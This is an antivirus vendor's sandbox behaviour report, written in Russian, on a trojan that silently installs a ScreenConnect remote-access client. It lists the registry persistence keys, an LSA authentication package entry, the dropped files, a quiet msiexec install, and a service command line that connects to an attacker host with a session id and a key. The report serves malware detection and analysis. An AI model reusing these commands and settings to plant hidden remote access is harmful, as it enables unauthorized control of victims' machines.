Trojan.Siggen32.58441

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Classes\sc-bb99495be4c8fbf0\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (bb99495be4c8fbf0)\ScreenConnect.WindowsClient.exe" "%1"'
[HKLM\SYSTEM\CurrentControlSet\Control\Lsa] 'Authentication Packages' = 'msv1_0\n%ProgramFiles(x86)%\ScreenConnect Client (bb99495be4c8fbf0)\ScreenConnect.WindowsAuthenticationPackage.dll'

Устанавливает следующие настройки сервисов

[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (bb99495be4c8fbf0)] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (bb99495be4c8fbf0)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (bb99495be4c8fbf0)\ScreenConnect.ClientService.exe" "?e...

Создает следующие сервисы

'ScreenConnect Client (bb99495be4c8fbf0)' %ProgramFiles(x86)%\ScreenConnect Client (bb99495be4c8fbf0)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=remote.wrightliggh.com&p=8041&s=f3652c7e-cc24-42d4-ac71-7bd6255a6ea6&k=BgIAAACk...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\setup_2fc9cd2d\sc.msi
%WINDIR%\installer\msia4c.tmp-\screenconnect.installeractions.dll
%WINDIR%\installer\msia4c.tmp-\microsoft.deployment.windowsinstaller.dll
%WINDIR%\installer\msia4c.tmp-\microsoft.deployment.windowsinstaller.package.dll
%WINDIR%\installer\msia4c.tmp-\screenconnect.core.dll
%WINDIR%\installer\msia4c.tmp-\screenconnect.windows.dll
%WINDIR%\installer\msia4c.tmp-\microsoft.deployment.compression.dll
%WINDIR%\installer\msia4c.tmp-\microsoft.deployment.compression.cab.dll
%WINDIR%\installer\msia4c.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~dfa2c3a253da514c41.tmp
%WINDIR%\installer\sourcehash{99a91401-fdcd-8ab4-cb53-14159573e48b}
%WINDIR%\temp\~dfd99df4b933b9aa4c.tmp
%WINDIR%\temp\~dfb7df712baa361a2f.tmp
%WINDIR%\temp\~dfad3fbcb5c0cc50d0.tmp
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.client.dll
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.windowsauthenticationpackage.dll
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.windowsbackstageshell.exe
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.windowsbackstageshell.exe.config
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.windowscredentialprovider.dll
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.windowsfilemanager.exe
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.windowsfilemanager.exe.config
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\app.config
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\client.resources
%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\system.config
%WINDIR%\installer\{99a91401-fdcd-8ab4-cb53-14159573e48b}\defaulticon
%WINDIR%\temp\~df00fe82522b7541a8.tmp
%WINDIR%\temp\~dffc59cc08c36a8554.tmp
%WINDIR%\temp\~df4a22c31f5fb983a6.tmp
%WINDIR%\temp\~df8f75184101452ab6.tmp
%WINDIR%\temp\~dfb7637db811559123.tmp
%WINDIR%\temp\~df872c380b5ad7a1ea.tmp
%WINDIR%\temp\~df4da88d781ce2c46b.tmp
%WINDIR%\temp\~df84ad745dbbff5691.tmp
%TEMP%\content\4188-436-screenconnect.windowsclient.exe-12-15-02-234.dump
%TEMP%\content\4188-436-screenconnect.windowsclient.exe-12-15-02-682.dump
%TEMP%\content\4188-436-screenconnect.windowsclient.exe-12-15-02-773.dump

Удаляет файлы, которые сам же создал

%WINDIR%\installer\msia4c.tmp-\customaction.config
%WINDIR%\installer\msia4c.tmp-\microsoft.deployment.compression.cab.dll
%WINDIR%\installer\msia4c.tmp-\microsoft.deployment.compression.dll
%WINDIR%\installer\msia4c.tmp-\microsoft.deployment.windowsinstaller.dll
%WINDIR%\installer\msia4c.tmp-\microsoft.deployment.windowsinstaller.package.dll
%WINDIR%\installer\msia4c.tmp-\screenconnect.core.dll
%WINDIR%\installer\msia4c.tmp-\screenconnect.installeractions.dll
%WINDIR%\installer\msia4c.tmp-\screenconnect.windows.dll
%TEMP%\setup_2fc9cd2d\sc.msi

Сетевая активность

UDP

DNS ASK se####files-cdn.com
DNS ASK re####.wrightliggh.com

Другое

Создает и запускает на исполнение

'%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=remote.wrightliggh.com&p=8041&s=f3652c7e-cc24-42d4-ac71-7bd6255a6ea6&k=BgIAAACkAABSU0ExAAgAAAEAAQApvunsJlL0RT6jj0RX5oM4uyHRU363EACbd96XFAZgmfvPjSrWQwSdi1WEtxRR54zfpCSPfx83o...
'%ProgramFiles(x86)%\screenconnect client (bb99495be4c8fbf0)\screenconnect.windowsclient.exe' "RunRole" "fd3b92a5-1f3d-480d-914c-2d54f00e4894" "User"

Запускает на исполнение

'<SYSTEM32>\msiexec.exe' /i "%TEMP%\Setup_2fc9cd2d\sc.msi" /quiet /norestart
'%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\Installer\MSIA4C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_920781 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments